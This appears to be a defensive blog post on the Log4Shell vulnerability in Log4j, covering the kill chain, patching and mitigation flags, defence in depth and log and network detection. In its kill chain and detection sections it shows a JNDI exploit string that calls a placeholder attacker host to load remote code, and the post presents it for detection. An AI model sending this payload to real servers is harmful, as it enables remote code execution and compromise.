Log4j detecting an attack and compromise in logs

What is Log4shell?

For those that don’t know, let’s first start with the question: What is Log4j? In simple terms, it’s a logging module available in Java that a developer can enable when they are writing an application. It’s a great feature as it allows a user to see a record of what has taken place in an application, and most of the time its enabled for Governance, Risk and Compliance (GRC) purposes. ‘Log4j’ is the module that has the vulnerability that everyone is going on about and what hackers are looking for to exploit. ‘Log4shell’ is the name given to the vulnerability in the module, and it allows hackers to execute commands on vulnerable servers/machines, which is why it is so concerning. One of the most concerning things about this vulnerability is how easy it is to exploit a system, a single string of text and the right conditions internally and the attacker can execute their remote code on your systems.

Killchain

1. Scan the internet looking for a target that is vulnerable.
2. Once discovered, attackers attempt to exploit the system running the vulnerable log4j module, a webserver, for example, by sending a simple string to exploit the vulnerability. The exploit string will include something similar to this:
   
   ${jndi:ldap://attacker_host/exploit.class}
   
   
3. If step 2 is successful, the server will connect to an external LDAP server, the LDAP server can then be set to return a malicious script which the victim machine will run on the vulnerable server.
4. Finally, the attacker will perform post compromise actions such as grab malware from an attackers server in order to take action or execute their objective (for instance, install ransomware or cryptocurrency miner).

As this vulnerability is in the wild and well understood the internet is a light with hackers and researchers looking for vulnerable systems. Making sure your business reduces its attack surface and does not expose services that are not required is vital in general but the most important think now is to make sure what you do have exposed is secure or access limited. The best way to quickly identify if you are vulnerable can be found below but a quick way is by scanning your system or checking file hashes and if you have a software inventory checking software versions.

Remediation

The best advice is to patch to the latest version, as the behaviour is disabled by default. As of writing this blog the latest version of Log4j is 2.16.0. If you are using Log4j version 2.10.0 to version 2.14.0 and can't yet update, you can still set the flag manually:

1. You can pass this JVM flag as an argument when you invoke Java:
   java -Dlog4j2.formatMsgNoLookups=true
2. Alternatively, this feature may be set via environment variable:
   LOG4J_FORMAT_MSG_NO_LOOKUPS=true
3. Or you can set this using the JVM arguments environment variable:
   JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true

In some non-default configurations the vulnerability can still be exploitable even when this mitigation is in place so refer to the second CVE (CVE-2021-45046) for more details.

If you are using a version less than 2.10.0 you will need to do the following (because the flag that mitigates it above wasn’t added until 2.10.0), you can substitute a non-vulnerable or empty implementation of the class org.apache.logging.log4j.core.lookup.JndiLookup in a way that your classloader uses your replacement instead of the vulnerable version of the class. Refer to your application’s or stack's classloading documentation to understand this behaviour.

Other mitigations/defence in depth

As best practice suggests; we advocate that you should follow a defence in depth strategy as no single solution will protect you.

• Ensure outbound filtering is strictly managed. Block all services outbound to the internet and only allow necessary services.
• For services that are allowed, ensure all traffic is being inspected and logged.
• Implement a Web Application Firewall. This will not save you from being successfully exploited, but these devices will block the majority of scanners, scanning for low hanging fruit, non-determined attackers etc. Often vendors will update as bypasses become known within the security industry. In addition with log monitoring you will be aware if you are under attack and take action faster.
• Block IP addresses that are scanning or attacking external web servers.
• Segregate vulnerable hosts within a DMZ environment, do not have them on the domain and limit who/what can connect through strict firewall rules. In case of successful compromise, an attacker cannot move through the rest of the network.

Detection

• Deploy endpoint security/EDR to endpoints running Log4j. This would include checking for suspicious programs/processes being spawned and executed on targets, command line tools like powershell being used, increased CPU/memory usage (cryptominer) and general post-exploitation detection by the EDR.
• Due of the nature of the exploit, any HTTP field could be used to exploit a vulnerable machine so reviewing http fields and user agent strings can indicate attempts to exploit the vulnerability attackers are trying every possible option at this point.
• Ensure logging is taking place. The most likely place to see this attack would be the access/web logs. Make sure that these logs are constantly being monitored for any malicious activity. Strings similar to this if found in logs must be investigated:
  
  ${jndi:ldap://attacker_host/exploit.class}
• Network detection. Look at connections from web servers to non-standard ports or to standard web ports (http/s ports). Examine DNS queries that may be going to known malicious sites. Several resources exist at the moment that document known scanning ip addresses and callback URLs. Look for outbound connections from hosts running Log4j to unknown or unexpected locations
• Review LDAP outbound connection destinations for abnormality